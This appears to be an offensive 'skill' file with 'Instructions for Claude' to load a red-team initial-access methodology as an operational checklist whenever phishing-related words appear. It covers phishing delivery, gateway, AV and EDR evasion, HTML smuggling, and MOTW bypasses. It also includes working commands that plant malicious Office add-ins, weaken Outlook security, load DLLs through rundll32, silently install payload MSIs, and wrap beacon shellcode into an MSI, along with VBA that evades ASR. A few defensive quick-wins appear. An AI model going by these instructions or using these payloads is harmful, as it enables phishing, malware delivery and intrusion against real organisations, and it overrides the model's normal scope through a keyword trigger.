SKILL: Modern Initial Access
Metadata
Description
Initial access techniques checklist: phishing (spear/smishing), credential stuffing, exposed service exploitation, supply chain attacks, watering hole, VPN/RDP brute force, public-facing application exploitation. Maps to MITRE ATT&CK TA0001. Use when planning initial access phases of red team engagements.
Trigger Phrases
Use this skill when the conversation involves any of:
initial access, phishing, spear phishing, credential stuffing, exposed service, supply chain, watering hole, VPN brute force, RDP attack, MITRE TA0001, initial foothold
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Modern Initial Access
Introduction
Typical Initial Access Vectors
- Email with malware attached/linked
- Most attacks using attached malware won't work
- Out of the box protection may not cover
PDF, ISO, IMG, HTML, SVG, PPTM, PPSM, ACCDE
- Most URL-based attacks do work
- domain's reputation, age, category should be sound
- domain should use https
- limit number of GET elements and their names
- use HTML Smuggling to evade
- get your domain warmed up (send some legitimate emails first with no attachment and links)
- Advanced attacks may involve delivering backdoored trusted applications (e.g., older Electron apps with V8 exploits) via phishing to bypass application control like WDAC.
- Spear-phishing/ phishing / stealing valid credentials
- Check your mail with Phishious before sending it to your victim
- use decode-spam-headers to analyze returned SMTP headers
- Be aware that default Microsoft Office settings now block macros in files downloaded from the internet (marked with
MOTW). Success often requires significant social engineering to convince users to bypass these protections or using alternative delivery methods (e.g., containers that don't propagate MOTW, signed add-ins).
- images and link increase spam score, be wary of it
- don't use
no-reply like usernames
- send through
GoPhis -> AWS SOCAT :587 -> smtp.gmail.com -> @target.com
- link to websites on trusted domains, like cloud-facing resources
- make sure your webserver blocks automated bots
- Deep‑fake voice or video social‑engineering calls (help‑desk or executive impersonation) to obtain password resets or approve MFA prompts. Generative‑AI tools make cloning voices trivial.
- Business Email Compromise (BEC) / OAuth consent phishing that targets finance or vendor‑portal users, yielding cloud‑token access even where MFA is enabled.
- Malicious OneNote
.one attachments and OneDrive "Add to Shortcut" abuse: embedded HTA/JS payloads bypass Office macro blocking and spread via cloud sync.
- Excel blocks untrusted Internet-origin XLL add-ins by default (M365, 2023+). Smuggled XLLs inside containers may still be blocked once MOTW propagates.
- Malicious browser extensions (Chrome, Edge, Firefox) delivered through fake Web Store listings; hijack session cookies or inject scripts into authenticated SaaS sessions.
- attackers register malicious cloud apps and trick users into granting scopes, giving token-based access that bypasses MFA
- Reusing stolen credentials against external single factor VPN, gateways, etc
- Password Spraying against Office365, custom login pages, VPN gateways
- Exposed RDP with weak credentials and lacking controls
- Unpatched known vulnerable perimeter device, application bugs, default credentials, etc
- Rarely HID-emulating USB sticks
- WiFi Evil Twin -> Route WPA2 Enterprise -> NetNTLMv2 hash cracking -> authenticated network access -> Responder
- Plugging into on-premises LAN -> Responder/mitm6/Ldaprelayx
- SEO poisoning / paid‑search malvertising (e.g., fake PuTTY & WinSCP ads, dominant loader delivery 2024–25) and "quishing" PDFs whose QR codes redirect victims to mobile OAuth login pages
- Consent‑/token‑phishing and Adversary‑in‑the‑Middle (AiTM) proxy kits that steal OAuth session cookies or proxy MFA (e.g., EvilProxy, Tycoon, Dadsec). These vectors bypass MFA by tricking users into granting access to rogue Azure AD / Google Workspace apps.
- Supply‑chain compromise of developer ecosystems:
- malicious NPM / PyPI typosquat packages
- poisoned GitHub Actions or CI/CD secrets exfiltration
- container‑registry deception (imageless Docker Hub repos or
curl | bash installers).
- First contact often occurs on developer workstations.
- Mass‑exploited perimeter and edge‑device zero‑days (e.g., Ivanti Connect Secure (such as CVE-2023-46805, CVE-2024-21887), MOVEit Transfer (such as CVE-2023-34362), Citrix Bleed) enabling unauthenticated remote code execution before credentials come into play. Maintain a live "current CVEs exploited‑in‑the‑wild" table and apply virtual patching/WAF rules where upgrades lag.
- Cloud & Kubernetes misconfigurations:
- exposed S3 buckets allowing upload‑then‑execute objects
- SSRF into EC2 IMDSv1 or GCP metadata to steal instance credentials
- open Kubernetes API/Argo CD dashboards, and leaked Azure SAS tokens that grant cross‑tenant data extraction.
- OIDC Workload Identity Federation exposed: stolen GKE/EKS service‑account tokens grant cross‑cluster privilege escalation.
- AWS STS credentials embedded in shareable URLs (
GetFederationToken, presigned S3, etc.) leak temporary keys to attackers.
- Mobile initial‑access vectors:
- smishing or WhatsApp/Telegram lures
- QR‑code invoice/resumé phishing that lands on mobile browsers
- rogue Mobile Device Management (MDM) enrolment profiles granting full device admin.
- Passkey/WebAuthn phishing pages that spoof the biometric prompt to hijack FIDO sessions.
- Sideload invitations via fake Apple TestFlight or Test Fairy links deliver malicious iOS/Android apps outside official store review.
- Collaboration‑app abuse:
- malicious Microsoft Teams/Slack/Discord apps with overbroad OAuth scopes
- slash‑command token vacuum
- SharePoint Framework (SPFx) app sideloading
- Discord/Telegram CDN links hosting first‑stage binaries.
- If WinRM over HTTPS (WinRMS, port 5986) is enabled (it's not by default) and its Channel Binding setting remains at the default "Relaxed", it becomes vulnerable to NTLM relay attacks. Relayed credentials (e.g., from coerced HTTP/SMB/LDAP) can grant RCE. Ironically, enabling WinRMS to "harden" a system by disabling HTTP WinRM (port 5985, which is relay-resistant due to internal encryption) can introduce this vulnerability. Key technical details:
- Standard WinRM (port 5985) uses HTTP with SPNEGO; channel binding is enabled by default, so NTLM relay fails unless the attacker controls TLS.
- WinRMS (port 5986) runs over HTTPS; if
CbtHardeningLevel is not set to Strict, credentials can still be relayed despite TLS.
- Channel Binding (CBT) can be set to None (disabled), Relaxed (optional), or Strict (required)
- Mitigation:
winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'
- Prefer Kerberos or certificate-based auth for WinRM; monitor and reduce NTLM usage.
- Exploiting misconfigured Power Platform services (e.g., Power Apps with overly permissive shared connections or abusing Power Query for native SQL execution against on-prem data gateways).
Command & Control
- Use a two-stage Mythic C2 as our command and control
- Stage one should be lean and hard to detect, it would be used for situational awareness
- Merlin for Linux (no upstream commits since 2023, still functional)
- Poseidon + Apfell for macOS
- Apollo in shellcode form for Windows
- to get rid of apollo console
- open it via
detect-it-easy, select pe and uncheck readonly
- then select
WINDOWS_GUI in Subsystem inside IMAGE_OPTIONAL_HEADER
- also notice apollo is a 32-bit executable
- also checkout Nimplant or others
- Nighthawk
- Stage two should be in-memory, inline-execute and feature reach
- Nighthawk, Cobalt Strike, etc
Exec/DLL to SHELLCODE
For detailed information on converting executables and DLLs to shellcode, including:
- Embedding shellcode into loaders
- Backdooring legitimate PE executables
- Tools like Donut, sRDI, Pe2shc and Amber
- Open-source shellcode loaders like ScareCrow and NimPackt-v1
See the Shellcode documentation.
EDR Evasion Techniques
For detailed information on EDR evasion techniques, including:
- Malware Virtualization
- API Unhooking
- Early Cascade Injection
- Killing Bit techniques
- Call Stack Obfuscation
- Sleep Obfuscation
See the EDR Evasion documentation
Modern CyberDefense Stack
- Secure Email Gateway / Email Security
- FireEye MX
- Cisco Email Security
- TrendMicro for Email
- MS Defender for Office365
- Secure Web Gateway
- Symantec BlueCoat
- PaloAlto Proxy
- Zscaler
- FireEye NX
- Secure DNS
- Cisco Umbrella
- DNSFilter
- Akamai Enterprise Threat Protector
- AntiVirus
- McAfee
- ESET
- Symantec
- BitDefender
- Kaspersky
- EDR
- CrowdStrike Falcon
- MS Defender for Endpoint
- SentinelOne
- VMware Carbon Black
Defensive quick‑wins
- Email/web controls
- Enable Microsoft Defender for Office 365 Safe Links and Safe Attach (or vendor equivalent).
- Block direct download of executable formats; detonate unknowns in sandbox.
- Office hardening
- Keep "Block macros from the Internet (MOTW)" enforced; prefer trusted locations.
- Block XLL add‑ins, unsigned COM add‑ins, and legacy Excel 4.0 macros
- ASR rules: Block Office child processes; Block Win32 API calls from Office; Block executable content from email and webmail; Block credential stealing from LSASS.
- Browser/extension control
- Enforce extension allowlists (Chrome/Edge/Firefox policy); disable developer mode on managed devices.
- Identity & auth
- Enforce MFA; restrict OAuth app consent (publisher verification + admin consent workflows); tenant restrictions.
- Prefer phishing‑resistant MFA (FIDO2/CTAP); block legacy/basic auth; monitor device‑code flow abuse.
- Endpoint policies
- WDAC/Smart App Control or application allow‑listing for untrusted installers (MSI/MSIX/ClickOnce).
- Monitor and restrict PowerShell Constrained Language Mode exceptions; log script block.
- For WinRM: prefer Kerberos/certificate auth; set WinRMS channel binding to Strict:
winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'.
Security Controls Evasion
Perimeter Defense Evasion
Secure Web Gateway
- sensitive on
- Domain characteristics
- URL-fetched contents (HTML, body, javascript)
- MIME types (where file type is allowed or not)
- can be evaded via
- high reputation servers (cloud instances)
- HTML smuggling
Secure DNS
- sensitive on
- Domain categorisation, maturity,
whois examination
- Presence on real-time blocking lists, threat intelligence feeds, virustotal-alike databases
- SSL/TLS certificate contents
- can be evaded via
- high reputation domains (Domain fronting CDN like azure edge CDN, Cloud-based resources like AWS lambda or azure blob storage, personal cloud drives)
- use Talos Intelligence to check reputation
- AWS is dumber than Azure, use it
Endpoint Defense Evasion
Antivirus
- sensitive on
- static signatures
- heuristic signatures
- behavioural signatures
- trigger events
on-demand -> on-write -> on-access -> on-execute -> real-time
- proactive protection of them is weaker due to low false-positive, low impact and high stability requirements
- before-exec: mainly cloud-reputation based examination
- before-exec: machine learning evaluation focusing on hand-picked characteristics
- on-exec: simulating entry point and first N instructions
- on-exec: memory scanner sweeping process virtual memory allocations for presence of signatured threats
- steps
- static analysis
- heuristic analysis
- cloud reputation analysis + automated sandboxing / detonation
- ML analysis
- emulation
- behavioural analysis
- can be evaded via
- static analysis by writing custom malware
- heuristic analysis by smartly blending-in with our payload
- cloud reputation by backdooring legitimate binaries, devising malware in containers (PDF, Office docs), sticking to DLLs
- automated sandboxing by environmental keying (only execute if something)
- ML analysis by trial and error, hard to combat
- emulation by time-delaying, environmental keying
- behavioural analysis by
- avoiding suspicious WinAPI calls
- acting low-and-slow instead of all-at-once
- unhooking/direct syscalls may work
EDR Evasion Techniques
For detailed information on EDR evasion techniques, including:
- Malware Virtualization
- API Unhooking
- Early Cascade Injection
- Killing Bit techniques
- Call Stack Obfuscation
- Sleep Obfuscation
- Telemetry obfuscation
- Persistence strategies
- Event correlation evasion
See the EDR Evasion documentation.
Windows Defender Bypass Techniques
For detailed information on Windows Defender bypass techniques, including ASR bypasses and custom detection rules evasion, see the EDR Evasion documentation.
Hosting Payloads
- Server Hosting our Payload must
- Look benign, best if commonly used for file hosting
- Have SSL/TLS certificate signed by trusted authority
- Hard to be blocked by target (cloud based)
- Example
- Cloud-based file storage: Office365 OneDrive, SharePoint, AWS S3, MS Azure Storage, Google Drive, FireBase Storage
- CDN: Azure Edge CDN, StackPath, Fastly, Akamai, Google Cloud AppSpot, HerokuApp
- Serverless Endpoints: AWS Lambda, CloudFlare Workers, DigitalOcean Apps
- use LOTS Project for help
- use LOLBINS
- prefer DLL over EXE
- indirect execution to circumvent EDR/AV
- DLL Side-Loading / DLL Hijacking / COM Hijacking / XLL
- check Microsoft Block Rules to better circumvent defender
Infection Vectors and Chains
Classic File Infection Vectors
MAC
- initial access is getting harder, for example for MAC you can still bypass
- Unsigned apps (gets through with few clicks)
- Office Macros +
.SLK Excel4 macros (constrained by gatekeeper)
- you can use Mystikal
- Use
LNK, CHM, CPL, DLL, MSI, HTML, SVG; hold Office w/macros, ISO, VHD, XSL.
Windows Script Host
- VBE, VBS, JSE, JS, XSL, HTA, WSF
- Mostly well detected and subject to AMSI detection. Effectiveness significantly reduced for Office macros due to default security settings blocking macros from the internet (
MOTW).
- Viable strategies for WSH scripts (often requiring MOTW bypass or user interaction):
- File Dropper
- download a file from internet/ UNC share or unpack from itself
- save the file onto workstation
- run the file directly/indirectly via LOLBIN
- DotNetToJScript / GadgetToJScript
- a way to deserialize and run
.NET executables in-memory
- use BinaryFormatter to deserialize them
- XSL TransformNode
- simple technique to run XSL/XML files in-memory while maintaining low IOC footprint
- XLAM Dropper
- Macro-enabled excel add-in file
- when dropped to
%APPDATA%\Microsoft\Excel\XLSTART, they are auto-executed when starting excel
- Microsoft Compiled Help Messages
- can be used to run a system command whenever user browses into them
- some used to run VBS or quietly install MSI
- LNK
- EXE/ZIP embedded into LNK
- can be polyglot-ted with
HTA/ISO/PDF/ZIP/RAR/7z
- use icons to weaponize, inspect with LEcmd to make sure not disclosing MAC & hostname
- always run through a LOLBIN like
conhost.exe
- HTML Smuggling
- body
onload callback
- optional
setTimeout delay or direct entrypoint call
- embedded payload footprint
- actual logic
- create a JavaScript
Blob object holding raw file data
- if operating on IE use
msSaveOrOpenBlob
- else, create a dynamic
<a style="display:none"></a> HTML node
- invoke
URL.createObjectURL() and set <a href="...">
- set download name via
<a>.download
- programmatically click the anchor to trigger the download
- use detect-headless to identify sandboxes
- run anti-headless logic after some time elapses
- Can bypass most secure gateways, but the downloaded file (e.g., ISO, ZIP, LNK, document) still faces endpoint scrutiny. If the smuggled file relies on macros (e.g.,
.docm), it will likely be blocked by default Office security unless the user explicitly enables content.
- COM Hijack
- every VBA strategy requires launcher and often needs to overcome default macro security blocks:
WScript.Shell
WMI Win32_Process::Create
Shell(...)
- etc
Complex Infection Chains
Containerized Malware
- Files downloaded from internet have Mark of the Web(
MOTW) taint flag
- Default Behavior: Office documents having
MOTW flag have their macros blocked by default, preventing automatic execution. This is a major mitigation against traditional macro-based attacks.
- You can download it from intranet or trusted locations to circumvent this (less common for initial access).
- Some container file formats do not propagate
MOTW flag to inner files when extracted, providing a potential bypass:
[!Note]
(Windows 11 22H2+): ISOs opened via double-click in Explorer inherit MOTW. Using Mount-DiskImage via PowerShell typically avoids propagation; validate on your build.
Chains Recipe
- In‑the‑wild sample
- Spear-Phishing
- Link in mail or Link in PDF
- HTML Smuggling drops ISO or ZIP
- ZIP contains
RTLO‑tricked .EXE disguised as .PDF being legit 7‑Zip executable
.PDF.EXE when clicked, sideloads benign vcruntime140.dll that imports evil 7za.dll
- ISO contains
LNK + DLL
.LNK runs rundll32 evil.dll,SomeExport
- Delivery - convey your chain (HTML smuggling drop in drive-by download fashion)
- Container - archive bundling all infection files
ISO/IMG/ZIP can contain hidden files
- Trigger - some way to run our payload (
LNK/CHM)
- Payload - our malware
- Note: Macro-enabled office documents (
.docm, .xlsm) are less reliable for initial execution due to MOTW blocks unless combined with social engineering or specific bypasses.
- can be macro-enabled office document with
MOTW stripped (e.g., delivered inside a container like ISO/VHD)
DLL/CPL/XLL to be loaded by trigger directly or indirectly with LOLBIN (XLLs also subject to MOTW blocking if downloaded directly)
XLAM to be copied to XLSTART for persistence & abusing office trusted path
MSI/MSP to run during silent installation (MOTW stripped)
VbaProject.OTM for outlook persistence
.EXE + .DLL executing through side-loading attack
- Decoy - keep your victim happy by displaying some interesting stuff
Successful Strategies
# plant evil.xlam to %APPDATA%\Microsoft\Excel\XLSTART so that next time user opens up Excel it will get loaded
cmd /c echo f | xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART | decoy.pdf
# Plant VbaProject.otm to %APPDATA%\Microsoft\Outlook\VbaProject.OTM and alter registry so upon outlook restart VBA will be loaded and act on every new email arrived
cmd /c reg add hkcu\software\micorosft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf
# corrected HKCU path
cmd /c reg add hkcu\software\microsoft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf
# your ZIP/ISO/IMG will contain signed executable prone to DLL Hijacking/side-loading and appropriate malicious DLL
cmd /c DISM.exe | decoy.pdf
# load .DLL through LOLBIN
cmd /c rundll32 evil.dll,Infect | decoy.pdf
# LNK/CHM that runs PowerShell to locate own .ZIP, then unpacks ZIP contents elsewhere then changes dir into there, then registers .XLL (having stripped MOTW)
# ClickOnce deployment requires several local files; bundle into ZIP/ISO, hide them, then deploy ClickOnce followed by opening decoy.pdf
# PowerShell might use Unblock-File on .MSI and then silently install it
powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi ; .\decoy.pdf
# install signed MSI and apply an unsigned MST
powershell msiexec /q /i .\Zoom-signed-installer.msi TRANSFORMS=evil.mst ; .\decoy.pdf
# run WSH script
cmd /c wscript evil.wsf | decoy.pdf
# LNK/CHM that runs PowerShell to locate its own ZIP, then unpacks ZIP contents elsewhere, changes directory and runs tasks (e.g., deploy ClickOnce)
VBA Infection Strategies
- Important Note: The effectiveness of traditional VBA macro execution on document open (
AutoOpen, Document_Open) is significantly diminished due to Microsoft's default security policy blocking macros in files downloaded from the internet (MOTW). Successful execution often requires social engineering to have the user explicitly trust the document/location or alternative execution methods (like COM hijacking triggered later, Add-Ins, etc.).
Alt+F11IM - quickly inserts VBA module into a document
- abuse path
- execute
- file dropper
- COM hijack
- DotNetToJScript
- use of WinAPI is strongly inadvisable due to detection
GetUserNameA might be fine but things like CreateProcessA is a big no-no
AutoOpen,Document_Open, etc can be used to auto-run our script
Attack Surface Reduction Rules
Execute
- Most basic strategy is to simply run some command with LOLBIN. Subject to macro execution policies.
- Avoid running immediately; prefer persistence. Consider COM/DLL hijacking and always use LOLBINs.
- useful ones
Wscript.Shell.Exec - prefix with obf_ to facilitate later obfuscation
InvokeVerbEx - evades detection but sometimes doesn't work with LOLBIN
RDS.DataSpace - supposed to be obsolete, but still works
- use AMSITools to review AMSI events
# evade ASR
CreateObject("WScript.Shell") == CreateObject("new=72C24DD5-D70A-4388-8A42-98424B88AFB8")
# full sample to evade ASR
Sub obf_LaunchCommand(ByVal obf_command As String)
On Error GoTo obf_ProcError
Dim obf_launcher As String
Dim obf_cmd
With CreateObject("new:72C24DD5-D70A-4388-8A42-98424B88AFB8")
With .Exec(obf_command)
.Terminate
End With
End With
obf_ProcError:
End Sub
# RDS.DataSpace
Sub obf_LaunchCommand(ByVal obf_command As String)
On Error GoTo obf_ProcError
Dim obf_objOL, obf_shellObj
Set obf_objOL = CreateObject("new:BD96C5566-65A3-11D0-983A-00C04FC29E36")
Set obf_shellObj = obf_objOL.CreateObject("Shell.Application", "")
obf_shellObj.ShellExecute obf_command
obf_ProcError
End Sub
DotNetToJScript
DotNetToJScript - runs .NET assemblies in-memory through Assembly.Load. Still requires the initial VBA/JScript execution, which is often blocked.
File Dropper
- Deadly as long as AV/EDR not detect our dropped payload
OnWrite. The initial macro execution to drop the file is the primary hurdle due to default security.
- files can be pulled from
- internet
- office file structures
- inside VBA code itself - not good
COM Hijack
- Plants dodgy COM server via registry key in
HKCU that overrides HKLM system defaults. This is a persistence/later execution technique, bypassing the initial macro block issue, but the initial planting still needs to occur.
- create registry key structure using VBA
- drop a DLL file to HDD
- wait until system/application picks that COM object up and instantiate it
- beware your DLL might be executed hundreds time per minute
- implement single-instance / single-run logic
- don't hijack
MMDeviceEnumerator, user sees issues
- use
CacheTask -> {0358B920-0AC7-98F4-58E32CD89148}
- learn more here
Lures
- Present plausible pretext that gets removed after macros run ( like
docusign or adjust to your version). Modern lures often need to convince the user to click "Enable Content" or move the file to a trusted location.
- we can leverage shapes (images, text boxes, macro cycles through them)
- big blob of shellcode embedded in VBA stands out
- we can use
- shellcode or commands in document properties
- word variables
- word/excel/powerpoint parts
- VBA forms
- spreadsheet cells
- Word
ActiveDocument.Paragraphs
Alternative AutoRuns
- Proxy sandboxes like
Zscaler are sensitive to Auto_Open(), that might give away our maldoc. These autoruns are also subject to the default macro blocking policies.
Workboot_SheetCalculate += RAND() might be useful
- MS Word Remote Templates are a good choice as well
- Office offers customizing ribbon based on
CustomUI XML; we can abuse the onLoad part as well
- ActiveX controls can be inserted into document, but will be called a lot so keep it simple. Also subject to security controls.
Exotic VBA Carriers
- MS Office
- Access
.accde, .mdb, PowerPoint, Publisher .pub
- Visio
.vsdm, Visio97 .vsd , MS Project .mpp
- Publisher RTF files
- Outlook
ThisOutLookSession, VBAProject.OTM
- SCADA Systems
- Siemens SIMATIC HMI WinCC
- General Electric HMI Scada iFix
- IGSS schneider-electric
- CAD Software
- VBA Module for AutoCAD / VBA Manager in AutoCAD 2021
- ProgeCAD Professional
- SOLIDWORKS
.swp,.swb VBA Project files
- DS CATIA V5
- Bentley MicroStation CONNECT
.MVBA files
- Others
- ArcMap
.MXT files
- Oscilloscopes Keysight E5071C Network Analyzer
- TIBCO Statistica Visual Basic
.SVB analysis configuration
- Rocket Terminal Emulator
- MicroFocus InfoConnect Desktop
VBA Stream Manipulation
- VBA macros are stored in
vbaProject.bin OLE stream modules
- each module consists of
PerformanceCache - compiled VBA code, office version specific
CompressedSourceCode - compressed VBA with MS proprietary algorithm
- VBA Stomping relies on the fact that Office prefers executing
PerformanceCache if its version matches, so we can use malicious performance cache and innocuous compressed code. Detection for stomping has improved, and the macro execution itself is still subject to security policies.
EvilClippy offers other useful features as well
- Hide VBA from GUI
- Remove metadata stream
- Set random module names
- Make VBA Project unviewable/locked
EvilClippy.exe -s fakecode.vba -t 2016x8666 macrofile.doc
- VBA Purging
- removes
PerformanceCache from module and _VBA_PROJECT streams
- changes
MODULEOFFSET to 0
- removes all
__SRP_# streams
- this removes strings representing VBA code parts, lowering detection potential
Evasion Tactics
- Uglify - remove empty lines, add random indentation, insert garbage code & comments
- Rename variables and function/sub names
- Randomize functions order
- Obfuscate strings
- Avoid overly long lines
- Payload obfuscation is trickier
- use VisualBasicObfuscator
- Sandbox Evasion
- detect if running in sandbox environment, don't run any further. Doesn't bypass the default user-facing macro block.
- validation of username/domain
- uptime check
- internet-exposed IPv4 geolocation & reverse‑PTR
- weaker stuff (hardware,process list, NIC MAC addresses)
- Office Files Encryption
- Powerful evasion technique against static analysis but does not bypass the runtime macro execution blocks based on
MOTW.
- Office documents can be password-protected / encrypted
- Excel always tries hardcoded password value of
VelvetSweatshop
- Powerpoint always tries
/01Hannes Ruescher/01
- use
msoffice-crypt.exe
- Office trusted path + AMSI evasion
- Relies on getting the file into a trusted path first, bypassing the initial MOTW block.
- requires disabling/patching optics
- sometimes works
- checkout zip motw for a sample MOTW evasion
MSI Shenanigans
Installation
- MSI installer can be built with WiX toolset, which brings us several properties
- there is a
<CustomAction> tag letting us run .DLL, .EXE, .VBScript/Jscript
- After installation we can safely uninstall MSI, leaving no trace on HDD
- Can run
- inner
VBScript/JScript in-memory
- inner
.NET assembly in-memory
- inner
EXE file by extracting it to C:\Windows\Installer\MSIXXXX.tmp
- when running
EXE, parent-child relationship gets dechained into wininit.exe -> services.exe -> msiexec.exe -> MSIxxxx.tmp
Types
.MSI - compound storage file format comprising of a set of databases structured in OLE format
.MSP - Windows installer patch file
.MSM - Windows merge module installer's file (not usable)
.MST - Windows installer transformation file
- Files are stored in
.CAB archives, that are bundled into MSI media table
- To extract contents from
.MSI we can use lessmsi, ORCA or msidump
ORCA & MSISnatcher lets us backdoor existing MSI file
Manual
- compile
WXS into WIXOBJ
- links
WIXOBJ into MSI
wix\candle.exe project.exs x64
light.exe -ext WixUIExtension -cultures:en-us -dc1:high -out evil.msi project.wixobj
- use
rogue-dot-net\generateRouteDotNet.py to compile custom .NET DLL based off shellcode
- create self-exctractable, standalone
.NET CustomAction DLL with WiX MakeSfxCa
- compile
WXS into WIXOBJ
- link
WIXOBJ into MSI
python generateRogueDotNet.py -M --dotnet-ver v2 -t plain -s CustomAction -n CustomActions -m MyMethod -r -c x64 -o CustomAction.dll beacon64.bin
MakeSfxCA.exe CustomAction.CA.dll x64\sfxca.dll CustomAction.dll wix\Microsoft.Deployment.WindowsInstaller.dll
candle.exe project.wxs -arch x64
light.exe -ext WixUIExtension -cultures:en-us -dc1:high -out evil.msi project.wixobj
evil.msi /q && sleep 5 && msiexec /q /x evil.msi
Backdoor Existing MSI
- we can add rows to existing MSI thus backdooring it
- Interesting Fields
- Binary - table that holds binary data in-memory during MSI installation
- CustomAction - actions to perform pre/post installation
- InstallExecuteSequence - sequence-ordered list of actions that take place during installation
- File - files to be extracted into system
- Component - describes into which directory should file be extracted
- Media - CAB files inside of MSI
- Registry - Contains all registry keys & values to be created
- Shortcut - scatters LNK all around the system
- Process
- copy
putty-installer.msi to backdoored.msi
- open
orca.exe and open backdorred.msi inside it
- tables -> CustomAction -> right click -> add row ->
Action=whatever1, type=1250, source=INSTALLDIR, target=calc
- tables -> InstallExecuteSequence -> sort tables by
Sequence column -> add row -> Action=whatever1, condition= NOT REMOVE, sequence = 6599
- file -> save as ->
backdoored.msi
- test it
- we can automate the process using
MSISnatcher
Windows App Package Format
.MSIX which supersedes .MSI by enforcing publisher authentication via code signing certificate
- installed
.APPX/.MSIX goes into %ProgramFiles%\WindowsApps\<PublisherName>.<AppName>_<AppVersion>_<Arch>_<Hash>
- extensions
MSIX the zip of signed installation package
APPX a directory containing EXECUTABLES/Program, .AppxManifest.xml, [Content_Types.xml], assets, icons, other files
APPXBUNDLE, MSIBUNDLE contains .APPX/.MSIX and other files
APPINSTALLER - XML file pointing towards .APPXBUNDLE or .MSIX installers
- deployment
- double-click
- windows store
- browsing a website with
ms-appinstaller link
- via PowerShell
Add-Package -Path .\evil.appx
- via remote host through
DCOM - checkout ProvisionAppx
- a static Azure blob storage website -> HTML with
ms-appinstaller URL handler -> use a signed binary (179$)
Executables
Basics
Static Detection
- Static Detection is simplest to evade, simply use packers
PE Protector - encrypt & anti-debug/anti-x
PE Compressor - reduce the file size
.NET Obfuscators - protect IP, symbol names, strings
Script Obfuscators - VBA/VBScript, PowerShell, BAT
Virtualizers - translate input PE executable machine code into custom VM
Executable Signers - steal genuine EXE certificate + properties and apply on implant
Resource Editors - remove Icon, version information
Shellcode Loaders - load shellcode in a stealthily
Shellcode Encoders - Shikata Ga Nai
- you can use ProtectMyTooling for various packers
- Note on Online Scanners: While services like AntiScan.Me can give an initial idea of detection rates, they don't replace testing against a local, isolated machine representative of the target environment. Defenses like Windows Defender may behave differently in a real system compared to online sandboxes.
- Targeted Evasion: Aiming for a universal "0 detection rate" can be time-consuming. It's often more effective to gather intelligence on the target's specific security solutions and focus evasion efforts accordingly.
Offensive CI/CD Pipeline
- RedTeam Malware Development
- Test Stability, Reliability, Security
- Artifact Obfuscation
- Test Against Offline EDR
- Watermarking & IOC Collection
- Operational Use
- Implant Tracking in Threat Intelligence Feeds
PE Backdoor
- Inject Shellcode Into Legitimate Executable
- middle of current code section
- into separate section
- Redirect Execution
- change
AdressOfEntryPoint
- Hijack branching call
JMP, CALL
- TLS Callback
- Sign it With Self-signed/Custom Authentication
LimeLighter
Mangle
ScareCrow
osslsigncode.exe
- Spoofed Certificates: Signing an implant, even with a spoofed or invalid certificate, can sometimes reduce detection by AVs that don't thoroughly validate the certificate chain. However, be aware of potential legal consequences.
- Timestamping: The choice of Time Stamp Authority (TSA) server when signing can also unexpectedly influence detection rates by different AV products.
PE Watermarking
- Keep Track of implant/malware/IOC
- Inject Custom Watermark to Payloads and Poll VirusTotal
- Where to Inject
- DOS Stub
- PE Header Properties: TimeStamp, Checksum
- Overlay
- Additional PE Section
- Resources: Version Information, Manifest
- What Should it Look Like
- Random SHA256 might be enough
- Encrypted engagement metadata
PE Attribute Cloning and Code Signing Considerations
- Cloning Attributes: Copying file attributes (version information, icons, product names, original filenames, etc.) from legitimate binaries can help an implant blend in.
- When cloning, choose binaries that are legitimately present and commonly used on the target system. For instance, cloning an iTunes binary for a Windows Server target would be suspicious.
- Consider cloning attributes from unsigned legitimate Windows binaries (e.g.,
at.exe) and not signing the implant. This may be more effective than cloning a signed binary (like RuntimeBroker.exe) and then signing the implant with a spoofed certificate, especially if the EDR/AV can easily verify signatures of its own system's binaries.
- Testing is Crucial: Always test cloned and/or signed implants on a system mimicking the target environment, as behavior can differ significantly from online scanning services.
Shellcode
For detailed information on shellcode loaders, techniques, and implementation, including:
- Allocation, write, and execution phases
- Local vs remote injection
- Methods to hide shellcode
- Storage solutions (including Certificate Table approach)
See the Shellcode documentation.
Formats
EXE
- use
EV Cert code signing if you can afford it
- otherwise self-signed
LimeLighter,ScareCrow,osslsigncode
DLL
- typical no subject for prevalence/reputation score
- offer delayed & de-chained execution primitives
- not visible in process list
- facilitate DLL hijacking attacks
- can be used by
LOLBIN
- cleanup is hard, to remove first need to exit threads and then free that library
- call
kernel32!FreeLibraryAndExitThread when your evil DLL execution is done
- keep
DLLMain as simple as possible, or better don't used it at all, use the bullet point below
- DLL hijacking/proxying/side-loading/planting/search-order hijacking to evade detection
- use Spartacus or Crassus for DLL Hijacking automation
- for DLL Side-Loading use
Frida+WFH,Koppeling, Siofra or Spartacus and Crassus
- Beware MS Defender might trigger on DLL Side-Loading/Hijacking
CPL
- control panel applet
- double-clickable
WLL
- word add-in
- not double-clickable
XLL
- excel add-in
- double-clickable
- if has
MOTW gets blocked
Additional Evasion Techniques
For detailed information on EDR evasion techniques, including:
- String obfuscation
- Entropy manipulation and file bloating
- Time-delayed execution
- Sandbox detection and environmental keying
- AMSI and ETW evasion
- Call stack obfuscation
- DripLoader technique
See the EDR Evasion documentation.
Emerging Initial-Access
- Cloud identity & OAuth token theft (AiTM proxy kits, consent phishing, pass‑the‑cookie).
- MFA fatigue / prompt bombing.
- Exploiting edge devices & perimeter zero‑days (Ivanti, Citrix, Fortinet, Atlassian, etc.).
- Third‑party package & CI/CD compromise